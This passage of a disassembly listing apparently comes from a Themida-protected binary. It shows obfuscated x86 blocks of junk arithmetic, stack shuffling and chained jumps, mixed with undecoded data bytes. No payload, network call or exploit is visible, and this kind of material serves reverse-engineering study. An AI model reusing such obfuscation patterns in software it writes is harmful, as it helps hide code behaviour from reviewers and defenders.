		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 13013B24h
		shl	ebx, 2
		xor	ebx, 0B0D75F0h
		add	ebx, 0B8F666A4h
		add	edi, ebx
		pop	ebx
		push	eax
		mov	eax, 4
		jmp	loc_54B01E
; ---------------------------------------------------------------------------
		dd 9549F581h, 0EA898901h, 83242C8Bh, 8EE904C4h,	31000028h
		dd 0E99C2404h, 0FFFF8B52h, 9D1C77FFh, 14D35966h, 43E99C24h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D6C7:				; CODE XREF: Themida_:0054A62Aj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_54F193
; ---------------------------------------------------------------------------


loc_54D6DB:				; CODE XREF: Themida_:005488B8j
		pop	cx
		or	dl, ah
		pop	eax
		jmp	loc_552249
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFFAB27h
; ---------------------------------------------------------------------------


loc_54D6F0:				; CODE XREF: Themida_:005478B5j
		push	ecx
		jmp	loc_547908
; ---------------------------------------------------------------------------


loc_54D6F6:				; CODE XREF: Themida_:00546D75j
		sub	ch, 0C4h
		not	ch
		jmp	loc_54CA43
; ---------------------------------------------------------------------------
		dd 93E9E389h, 0ADFFFF8Ch, 0FFA851E9h, 0E907B2FFh, 0FFFFF190h
		dd 8D48E9ADh, 0DDF7FFFFh, 8B39E94Dh, 0D800FFFFh, 0FFBD7CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D729:				; CODE XREF: Themida_:0055107Bj
		add	edi, esi
		sub	edi, 24A52BC1h
		jmp	loc_551B2F
; ---------------------------------------------------------------------------
		dw 0F005h
		dd 0C11D767Eh, 1A3503E8h, 8953BE02h, 0AA6CE9C5h, 8153FFFFh
		dd 4ECh, 24148900h, 314FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54D759:				; CODE XREF: Themida_:0054A87Cj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_548571
; ---------------------------------------------------------------------------
		dd 0D3F7DD87h, 0C581DD87h, 9A8BE205h, 0FFBEEAE9h, 74FF53FFh
		dd 8F5B0424h, 1E92404h,	0BFFFFFD6h, 2CCE2C3Eh, 1EF834Fh
		dd 0D337E947h, 8758FFFFh, 248B243Ch, 9FB4E924h,	0C381FFFFh
		dd 529A4A77h, 400AC381h, 0A4E916B7h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D7AF:				; CODE XREF: Themida_:00550F3Cj
		sub	ebx, 51C15F77h
		add	ebx, eax
		add	ebx, 51C15F77h
		jmp	loc_552257
; ---------------------------------------------------------------------------
		dw 48Dh
aZhdd		db '‡hdd',0
		align 2
		dw 489h
		dd 8A38E924h, 0C781FFFFh, 73E82282h, 0FFCE65E9h, 405FFh
		dd 4870000h, 0C6815C24h, 4, 1738E9h, 72D4BD00h,	5045197Bh
		dd 0B4576B8h, 42D72D30h, 0E9485726h, 0FFFFB240h, 0C681E689h
		dd 4, 4C681h, 34870000h, 0C4835C24h, 29C38104h,	8136A06Eh
		dd 0D62C79EBh, 51C30136h, 40BD5552h, 0F7712129h, 97CD81D5h
		dd 81029835h, 333005C5h, 0E5E5813Bh, 8130CB2Ah,	5869CDCDh
		dd 0B4F58156h, 89608C47h, 0D1895DEAh, 59CB015Ah, 10576850h
		dd 0C890000h, 4931B924h, 91E90D70h, 89FFFFD8h, 89502414h
		dd 0A902E9E0h, 481FFFFh, 3A09CE24h, 0E9815952h,	523A09CEh
		dd 0E924348Bh, 0FFFF9AFFh, 3CBAh, 75656800h, 3C890000h
		dd 0AF9E924h, 4050000h,	87000000h, 0E95C2404h, 0FFFFC89Dh
		dd 24048B66h, 4C9968h, 24348900h, 0C681E689h, 4, 22FEE9h
		db 0
; ---------------------------------------------------------------------------


loc_54D8C9:				; CODE XREF: Themida_:0054776Fj
		xchg	ecx, [esp]
		pop	esp
		sub	[edi+24h], eax
		jmp	loc_548D37
; ---------------------------------------------------------------------------


loc_54D8D5:				; CODE XREF: Themida_:005518E4j
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_5494B6
; ---------------------------------------------------------------------------


loc_54D8E1:				; CODE XREF: Themida_:00548A3Aj
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_550E94
; ---------------------------------------------------------------------------


loc_54D8EC:				; CODE XREF: Themida_:0054A1E0j
		sub	edx, 518E0384h
		add	edx, 56F3D28h
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebp
		push	1
		pop	ebp
		jmp	loc_54F01B
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 0C8B665Ch, 4EC8324h,	54240489h, 0FFF199E9h, 2434FFFFh
		dd 4C4835Ah, 0FFF2F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D935:				; CODE XREF: Themida_:0054A251j
		pop	edi
		add	ebx, 0F0300805h
		jmp	loc_547E6A
; ---------------------------------------------------------------------------
		db 0BEh, 9Eh, 7
		dd 74014795h, 348B0424h, 4C48324h, 0E924048Bh, 15Bh, 0C7EC381h
		dd 5756594Ch, 0FFFE1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D965:				; CODE XREF: Themida_:0055290Cj
		shl	ebx, 4
		xor	ebx, 0FBC8C264h
		add	ebp, ebx
		pop	ebx
		jmp	loc_551F7E
; ---------------------------------------------------------------------------
		dw 489h
		dd 442B824h, 0EEE97FCDh, 52FFFFA8h, 101C6CBAh, 58E40533h
		dd 1AE91146h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D993:				; CODE XREF: Themida_:0054E5E7j
		mov	ecx, 5BCC4388h
		or	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, 48102D82h
		mov	edx, edi
		pop	edi
		jmp	loc_54D0C7
; ---------------------------------------------------------------------------


loc_54D9B1:				; CODE XREF: Themida_:00550A0Dj
		mov	esp, [esp]
		mov	[esp], esi
		push	eax
		jmp	loc_54BF68
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 13h
		dd 4038A51Bh, 25D0F748h, 4962245Bh, 244D3540h, 0C7014142h
		dd 0FFA040E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D9D9:				; CODE XREF: Themida_:00550A50j
		push	213h
		mov	[esp], ebp
		mov	ebp, 4B83478Fh
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	3072h
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		add	esi, 4
		jmp	loc_5509AC
; ---------------------------------------------------------------------------
		db 81h
		dd 30289CC6h, 38BB536Dh, 21221744h, 52E95BDEh, 81000039h
		dd 94349BEBh, 0DFE38100h, 0F7624F6Ch, 0E26CE9D3h, 0E828FFFFh
		dd 2EC8159h, 66000000h,	68241C89h, 72BBh, 0E9240489h, 0FFFFCEA2h
		dd 4BA5259h, 29000000h,	34335AD6h, 24343124h, 8B243433h
		dd 14892424h, 0D07AE924h, 0E281FFFFh, 5E5B399Dh, 39FFF281h
		dd 0EAC109DFh, 0EDE28103h, 81461047h, 114A14CAh, 0E7BF5700h
		dd 1FFEEB4h, 0D1895FFAh, 27CCE95Ah, 0C4830000h,	0B35304h
		dd 0C061CB80h, 6EE902E3h, 81000022h, 4C4h, 5685200h, 8900002Fh
		dd 88B9240Ch, 0C117EC5Bh, 0FE908E1h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DACF:				; CODE XREF: Themida_:0054CF5Dj
		xor	bl, al
		push	0AF3h
		mov	[esp], eax
		jmp	loc_552545
; ---------------------------------------------------------------------------
		dw 0D468h
		dd 89000011h, 0E389241Ch, 4C381h, 0EC830000h, 24048904h
		dd 0FBA5253h, 0E903CA3Bh, 0FFFFC491h, 0E9D8015Fh, 0FFFF9566h
		dd 24048155h, 3FFE1C14h, 14EB815Bh, 0E93FFE1Ch,	0FFFF8F2Fh
		dd 7970C281h, 0E95E3F13h, 3693h, 81240C89h, 3DC62434h
		dd 575A45D9h, 0FFAE90E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DB39:				; CODE XREF: Themida_:0054E43Aj
		push	ebx
		jmp	loc_549957
; ---------------------------------------------------------------------------


loc_54DB3F:				; CODE XREF: Themida_:0054AFF1j
		xor	esi, 73DB144Dh
		jmp	loc_5498C7
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 83000000h,	348704C6h, 1C335C24h, 241C3124h
		dd 8B241C33h, 0EE92424h, 5400001Dh, 0FFF78FE9h,	3DA3BFFFh
		dd 814F3CE2h, 814BB2E7h, 97AAE95Ch, 0C481FFFFh,	4, 75EA80h
		dd 90E95AD3h, 81FFFFA3h, 4C3h, 0C9BAE900h, 0EBD1FFFFh
		dd 0E6EB8143h, 3133F46Bh, 0B1CAE9DDh, 18B8FFFFh, 0F75F9A50h
		dd 375FE9D8h, 814F0000h, 0AACD4BEFh, 5FFD290Eh,	930E9h
		dd 0B5E95F00h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DBCF:				; CODE XREF: Themida_:00551EE0j
		xchg	ebx, [esp]
		jmp	loc_54DFD9
; ---------------------------------------------------------------------------


loc_54DBD7:				; CODE XREF: Themida_:00546F74j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	edx, 3E4666E1h
		mov	esi, [esp]
		add	esp, 4
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 0Bh
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_546B29
; ---------------------------------------------------------------------------
		dd 655BF681h, 0CE816DD1h, 30A86FAFh, 6502F681h,	8CE9368Dh
		dd 5B00000Ah, 5C2E981h,	7DE962D7h, 5800002Ah, 0E9FFEE80h
		dd 0FFFF95F1h, 7EA815Bh, 297FDE2Fh, 7C281C2h, 837FDE2Fh
		dd 0C8904ECh, 0A9BE5624h, 0C16D474Bh, 0D7E902E6h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54DC5B:				; CODE XREF: Themida_:00552025j
		push	esi
		mov	esi, 100465DEh
		jmp	loc_5487D1
; ---------------------------------------------------------------------------
aUtHC		db 'UT]hÝC',0
		align 2
		dw 0C89h
		dd 0B9515224h, 6BE47A6Bh, 0B959CA89h, 1F286F95h, 68h, 24048100h
		dd 6AFD50BDh, 81240C29h, 50BD242Ch, 0E0E96AFDh,	0FF00000Fh
		dd 42E92434h, 0B8FFFF91h, 753BCDDAh, 2958C129h,	0BD5559C8h
		dd 44E52980h, 1355BF2Dh, 5E80164h, 641355BFh, 0FFD811E9h
		dd 242C81FFh, 52500F21h, 0FFCEBEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DCD1:				; CODE XREF: Themida_:00549008j
		xor	edx, edi
		xor	edi, edx
		jmp	loc_55210F
; ---------------------------------------------------------------------------


loc_54DCDA:				; CODE XREF: Themida_:00552312j
		add	esp, 4
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_5472AE
; ---------------------------------------------------------------------------
		dd 30EDB850h, 0C2290355h, 93C28158h, 0E92E4944h, 228Dh
		dd 55241C89h, 0FFB9D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DD0D:				; CODE XREF: Themida_:0054C11Aj
		jmp	loc_54CBA3
; ---------------------------------------------------------------------------
		dw 0C101h
		dd 6DC8BB53h, 0EB817FB4h, 336C6B03h, 465C181h, 0D9011CCFh
		dd 465E981h, 585B1CCFh,	2C181h,	0D8E90000h, 0C100001Fh
		dd 19E903E6h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DD43:				; CODE XREF: Themida_:00550E15j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5478E5
; ---------------------------------------------------------------------------
		dd 2858C600h, 24148BF0h, 0E904C483h, 0FFFFED44h, 2414335Eh
		dd 33241431h, 0FF5C2414h, 34FF2434h, 0D804E924h, 34FFFFFFh
		dd 83535824h, 248904ECh, 24048124h, 4, 0E9241C8Bh, 0FFFFB3C0h
		dd 8124048Bh, 4C4h, 653E6800h, 4890000h, 5E08924h, 4, 0E904E883h
		dd 0FFFF8C8Eh, 84C6815Bh, 0E977941Eh, 0FFFFC009h, 0C680D6F6h
		dd 0E8C680AFh, 0FFCF7DE9h, 8438E9FFh, 4BBFFFFh,	81000000h
		dd 8D49BEEEh, 81DE014Eh, 8D49BEC6h, 0EC815B4Eh,	4, 0BB241C89h
		dd 2, 35CABD55h, 31E957A7h, 81FFFFCEh, 7FE9B9F2h, 5AD189B6h
		dd 0E902E9C1h, 0FFFFE5FAh
; ---------------------------------------------------------------------------


loc_54DE10:				; CODE XREF: Themida_:005477F2j
		xchg	ebp, [esp]
		jmp	loc_54C654
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 1C890000h, 3885E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54DE2A:				; CODE XREF: Themida_:0054E26Fj
		dec	esi
		dec	esi
		shr	esi, 6
		jmp	loc_54F738
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 4312424h,	83C8E924h, 0EB81FFFFh, 6223E54h
		dd 0C381CB01h, 6223E54h, 0FF5B0303h, 0C8B2434h,	4C48124h
		dd 50000000h, 0CAE9E089h, 81FFFF9Ch, 0FBB863C7h, 0F1C1811Ch
		dd 14A6A1Dh, 0F1E981F9h, 0E94A6A1Dh, 0FFFFBFA0h, 240C3166h
		dd 240C3366h, 240C3166h, 66D93166h, 3166CB31h, 6D6866D9h
		dd 1C896623h, 14F76624h, 665B6624h, 662F2768h, 66240C89h
		dd 0B1B3E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DEB2:				; CODE XREF: Themida_:00547CE2j
		push	76ACh
		mov	[esp], ecx
		push	edx
		mov	dl, 86h
		mov	cl, dl
		jmp	loc_5485C6
; ---------------------------------------------------------------------------


loc_54DEC4:				; CODE XREF: Themida_:0054E97Cj
		sub	ebp, edx
		pop	edx
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		add	ebp, 9603C964h
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_54A914
; ---------------------------------------------------------------------------
		dd 6B6668h, 241C8900h, 241C8B54h, 3CC1E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DEED:				; CODE XREF: Themida_:00550468j
		xor	ebp, edx
		xor	edx, ebp
		xor	ebp, edx
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_552141
; ---------------------------------------------------------------------------
		dd offset dword_457444+55724h
		dw 6800h
		dd 7B5h, 0E9242489h, 0FFFFCCDFh, 0C0D8E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DF22:				; CODE XREF: Themida_:0054BCA5j
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_548CCA
; ---------------------------------------------------------------------------
		db 83h
		dd 0EB2904C4h, 5D2434FFh, 4C481h, 0C3010000h, 8904EC83h
		dd 0EDE92414h, 29000026h, 6C212DF8h, 3FE94224h,	83000032h
		dd 1C8704EBh, 24248B24h, 0E9240C89h, 0FFFFE72Dh, 50243C8Bh
		dd 3CE95854h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DF7F:				; CODE XREF: Themida_:0054695Dj
		xor	ebx, eax
		pop	eax
		sub	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5468A6
; ---------------------------------------------------------------------------


loc_54DF99:				; CODE XREF: Themida_:00550428j
		jmp	loc_54620A
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 0FFAC9BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DFA9:				; CODE XREF: Themida_:0054EA86j
		not	ebp
		inc	ebp
		inc	ebp
		or	ebp, 5785F98h
		jmp	loc_550FC9
; ---------------------------------------------------------------------------


loc_54DFB8:				; CODE XREF: Themida_:0054F2A8j
		mov	esi, 62341570h
		jmp	loc_5522B6
; ---------------------------------------------------------------------------
		dw 2168h
		dd 8900003Eh, 9068240Ch, 8900002Fh, 90B42404h, 0FFDFCEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DFD9:				; CODE XREF: Themida_:0054DBD2j
		pop	esp
		jmp	loc_54E128
; ---------------------------------------------------------------------------
		db 0BAh
		dd 68262CAh, 0F281D2F7h, 9BA89F0Eh, 0E95AD389h,	0FFFFE52Eh
; ---------------------------------------------------------------------------


loc_54DFF4:				; CODE XREF: Themida_:00548841j
		pop	ecx
		push	edx
		push	ecx
		push	eax
		jmp	loc_552650
; ---------------------------------------------------------------------------
aXaas_8		db 'Xaé_8',0
		dd 1306BA00h, 0D7897E87h, 8950E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E012:				; CODE XREF: Themida_:00546B3Ej
		mov	edx, 4
		jmp	loc_551FC9
; ---------------------------------------------------------------------------
		dd 0E9241CF7h, 0FFFFBD4Ch, 2CA66866h, 24048966h, 0FF81D9E9h
		dd 0F3EA81FFh, 31DBDD8Ah, 0F4CAE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E03E:				; CODE XREF: Themida_:0054CD6Bj
		add	esp, 4
		pop	ebp


loc_54E045:				; CODE XREF: Themida_:00550681j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	edx
		jmp	loc_546EBE
; ---------------------------------------------------------------------------


loc_54E075:				; CODE XREF: Themida_:0054A42Dj
		add	bl, al
		pop	ax
		jmp	loc_54E110
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 24148B24h, 4C481h, 54E90000h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E08F:				; CODE XREF: Themida_:0054FC19j
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_54EAA1
; ---------------------------------------------------------------------------
		db 88h
		dd 25AE9D3h, 8B660000h,	0EC812404h, 4, 54240489h, 8DAFE958h
		dd 0EC83FFFFh, 243C8904h, 0BE565F54h, 142A003Eh, 0FFC29AE9h
		dd 86B151FFh, 30B4B652h, 0C8285AF1h, 0E9240C8Bh, 0FFFFA819h
; ---------------------------------------------------------------------------


loc_54E0DC:				; CODE XREF: Themida_:0054E589j
		add	bl, 0D1h
		mov	ah, bl
		pop	ebx
		neg	ah
		shr	ah, 5
		and	ah, 85h
		xor	ah, 97h
		add	ah, 77h
		add	cl, ah
		jmp	loc_548CB8
; ---------------------------------------------------------------------------
		db 5Ah
		dd 80CDB652h, 0BDE93FEEh, 0FEFFFFFCh, 72EC80C4h, 0E97CC480h
		dd 0E9Ch
; ---------------------------------------------------------------------------


loc_54E110:				; CODE XREF: Themida_:0054E079j
		push	ecx
		jmp	loc_5527A6
; ---------------------------------------------------------------------------
		dw 4B05h
		dd 13E5729h, 294B2DD8h,	0E9563E57h, 0FFFFF03Eh
; ---------------------------------------------------------------------------


loc_54E128:				; CODE XREF: Themida_:0054DFDAj
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 41D47AA2h
		jmp	loc_55085A
; ---------------------------------------------------------------------------


loc_54E13C:				; CODE XREF: Themida_:0054FC81j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_54915F
; ---------------------------------------------------------------------------
		db 0C7h, 42h, 30h
		dd 6DC53604h, 30BB53h, 0D3010000h, 0FFC559E9h, 507BB3FFh
		dd 0D8F6B9B0h, 0B424AE2Ch, 0C2282404h, 0F17E9h,	24048700h
		dd 24048F5Ch, 2434FF5Ch, 8324048Bh, 815604C4h, 4ECh, 24248900h
		dd 4240481h, 0E9000000h, 40C3h,	3FFAE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E1A2:				; CODE XREF: Themida_:0054D3FFj
		xor	cl, 2
		sub	al, cl
		pop	ecx
		push	edx
		push	3A14h
		mov	[esp], ebx
		mov	bh, 0EDh
		xor	bh, 85h
		mov	dl, bh
		jmp	loc_546643
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0F2h
		dd 5611BF37h, 40C812BEh, 5EF789EEh, 0FF8BE7E9h,	0C3166FFh
		dd 0C336624h, 0C316624h, 3CEBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E1E2:				; CODE XREF: Themida_:005515EDj
		push	7C52h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 51317744h
		push	7DB6h
		mov	[esp], eax
		mov	eax, 51317B44h
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_549882
; ---------------------------------------------------------------------------
		dd 0F3E9555Ah, 29FFFFC2h, 348B5DE9h, 4C48124h, 87000000h
		dd 7E9240Ch, 8100003Fh,	4C4h, 0D7F74F00h, 0FF8FC1E9h, 4EC81FFh
		dd 0E9000000h, 0FFFFFAC4h
; ---------------------------------------------------------------------------


loc_54E240:				; CODE XREF: Themida_:0054E2D8j
		and	ecx, 40D5EF6h
		xor	ecx, 0DD8BE3Bh
		jmp	loc_54C90D
; ---------------------------------------------------------------------------
		db 1, 0D0h, 5
		dd 5E297007h, 2404875Ah, 0FF9444E9h, 0C1015FFFh, 240C8758h
		dd 275E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E26E:				; CODE XREF: Themida_:0054A593j
		pop	ecx
		jmp	loc_54DE2A
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 0FDE95456h, 68000035h, 5149h, 89243C89h
		dd 0BB5350E7h, 322D5E63h, 255BD889h, 1F210198h,	1FB9BE56h
		dd 0F009008Eh, 4C55055Eh, 0E8C100D2h, 0BAE95205h, 66FFFF95h
		dd 83241C8Bh, 0F28002C4h, 28EB2C5Ah, 0FC5AE9D0h, 0F801FFFFh
		dd 0FF958DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E2C9:				; CODE XREF: Themida_:0054A2A9j
		sub	ebp, 89563D5Bh
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		dec	ecx
		jmp	loc_54E240
; ---------------------------------------------------------------------------
		db 83h,	0C5h, 1
		dd 4D03EDC1h, 0C581DDF7h, 245D651Bh, 0DC3E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E2F1:				; CODE XREF: Themida_:005466FFj
		or	eax, 2B27729Fh
		dec	eax
		jmp	loc_54EF63
; ---------------------------------------------------------------------------
		dd 0D988CA88h, 81241C8Bh, 4C4h,	0D446E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E30E:				; CODE XREF: Themida_:0054C1E0j
		mov	ebx, 50B850B7h
		or	ebx, 244F2A7Eh
		jmp	loc_54F46F
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0CF68240Ch, 0E9000036h, 3A0Ah
; ---------------------------------------------------------------------------


loc_54E32C:				; CODE XREF: Themida_:00547069j
		pop	ebx
		add	dl, 0FFh
		sub	dl, 0D1h
		add	al, dl
		pop	edx
		jmp	loc_5491C7
; ---------------------------------------------------------------------------
		db 66h
		dd 66743B68h, 0E9240C89h, 0FFFF7EC2h, 6FEA815Fh, 0E94A7044h
		dd 0FFFF7EB6h
; ---------------------------------------------------------------------------


loc_54E354:				; CODE XREF: Themida_:00550CA4j
		shl	ecx, 8
		sub	ecx, 0FFFFFFFFh
		push	ebx
		mov	ebx, 8AC0A60Fh
		xor	ecx, ebx
		jmp	loc_54F3D8
; ---------------------------------------------------------------------------


loc_54E367:				; CODE XREF: Themida_:00548B61j
		or	ebp, 7BC22857h
		jmp	loc_547258
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C896624h, 0B60F6624h, 9C5166C8h, 0FF7E85E9h, 0BDE947FFh
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E38B:				; CODE XREF: Themida_:0054F778j
		push	edi
		mov	edi, 4B365FE8h
		push	edi
		not	dword ptr [esp]
		pop	edi
		jmp	loc_549450
; ---------------------------------------------------------------------------
		db 0BFh
		dd 6FC48D4h, 2704EA81h,	0FA015DD8h, 0BCEEE956h,	83ADFFFFh
		dd 3FE904ECh, 0FFFFFFAEh, 34FF2434h, 0AE95924h,	0ADFFFF9Fh
		dd 8904EC83h, 6852240Ch, 7DE51663h, 0C2814A5Ah,	50C902F0h
		dd 0E904E2C1h, 0FFFFFA1Fh, 0C381CB01h, 4539460Dh, 241C8759h
		dd 8324248Bh, 148904ECh, 0E9E28924h, 0FFFFA4C9h
; ---------------------------------------------------------------------------


loc_54E3FC:				; CODE XREF: Themida_:00551B5Fj
		push	1FADh
		mov	[esp], ecx
		push	1
		jmp	loc_54A522
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 1000000h, 22E95DE8h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54E41B:				; CODE XREF: Themida_:00551483j
		add	dh, 0B5h
		xor	dh, 4Ah
		add	bl, dh
		pop	edx
		jmp	loc_54B62E
; ---------------------------------------------------------------------------


loc_54E429:				; CODE XREF: Themida_:0054D5CAj
		sub	edx, esi
		add	edx, 3A9912F9h
		pop	esi
		mov	eax, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_54DB39
; ---------------------------------------------------------------------------


loc_54E43F:				; CODE XREF: Themida_:0054916Bj
		push	ebp
		mov	ebp, 2A945A32h
		and	ebp, 225824E5h
		sub	ebp, 0CB30B874h
		xor	edx, ebp
		pop	ebp
		or	edx, 19D5734Ah
		and	edx, 1C866BCh
		jmp	loc_546B94
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 1Ch
		dd 2434FF24h, 4C4815Eh,	0E9000000h, 0FFFF98DFh,	0EAC0D9B2h
		dd 1DE95204h, 0F6000037h, 0E99C241Ch, 0FFFF7D7Eh
; ---------------------------------------------------------------------------


loc_54E48C:				; CODE XREF: Themida_:00547B12j
		mov	dl, cl
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		mov	[ebx], dl
		pop	ebx
		pop	edx
		pop	ecx
		jmp	loc_54620A
; ---------------------------------------------------------------------------
		dd 24048F54h, 4240483h,	13FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54E4AD:				; CODE XREF: Themida_:005476AFj
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_54B8EC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C8700h, 214E95Ch, 348B0000h, 4C48124h, 68000000h
		dd 4478h, 89243C89h, 0EE952E7h,	81FFFFE7h, 4C1h, 27E7E900h
		dd 0EB810000h, 628C2E91h, 0FFE557E9h, 0FF5E55FFh, 35E92434h
		dd 0BAFFFF8Fh, 69D132E6h, 32E2EA81h, 0D00169D1h, 4EC835Ah
		dd 53243C89h, 0FFC1CAE9h, 4EC83FFh, 0BF243C89h,	0A5A1810Ch
		dd 5686C181h, 0E9E95B97h, 89FFFF7Dh, 77E92404h,	68FFFFB0h
		dd 655Eh, 50242C89h, 2597E9h, 30D56800h, 1C890000h, 13146824h
		dd 14890000h, 4EC8124h,	89000000h, 34FF2404h, 24148B24h
		dd 0C452E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E56E:				; CODE XREF: Themida_:0054EC5Ej
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		jmp	loc_54ACC1
; ---------------------------------------------------------------------------


loc_54E57F:				; CODE XREF: Themida_:00551102j
		mov	bl, 9Bh
		neg	bl
		shr	bl, 2
		sub	bl, 0C9h
		jmp	loc_54E0DC
; ---------------------------------------------------------------------------
		dw 77E9h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E593:				; CODE XREF: Themida_:0054CF4Dj
		push	6E651712h
		jmp	loc_54E7F5
; ---------------------------------------------------------------------------


loc_54E59D:				; CODE XREF: Themida_:0054882Dj
		add	esp, 4
		jmp	loc_5485DF
; ---------------------------------------------------------------------------
		dd 0C1815954h, 4, 4C181h, 0C870000h, 0D1E95C24h, 3Ch, 0D7E959CBh
		dd 0C1FFFFF9h, 0D0F708E0h, 5234DA0Dh, 9D750536h, 6CE9DEA5h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E5DB:				; CODE XREF: Themida_:00548ED3j
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 584010CBh
		push	ecx
		jmp	loc_54D993
; ---------------------------------------------------------------------------
		dd 0E3E9515Eh, 0ACFFFFE7h, 47B753h, 241C8BF8h, 5E08950h
		dd 4, 405h, 24048700h, 47A2C5Ch, 0EE4CE997h, 0C601FFFFh
		dd 6B43C681h, 42E97F9Ch, 0FFFFFFC6h, 589D1C77h,	9C240411h
		dd 0FF7BD9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E631:				; CODE XREF: Themida_:0054673Ej
		pop	ecx
		sub	ebx, 67CC47ABh
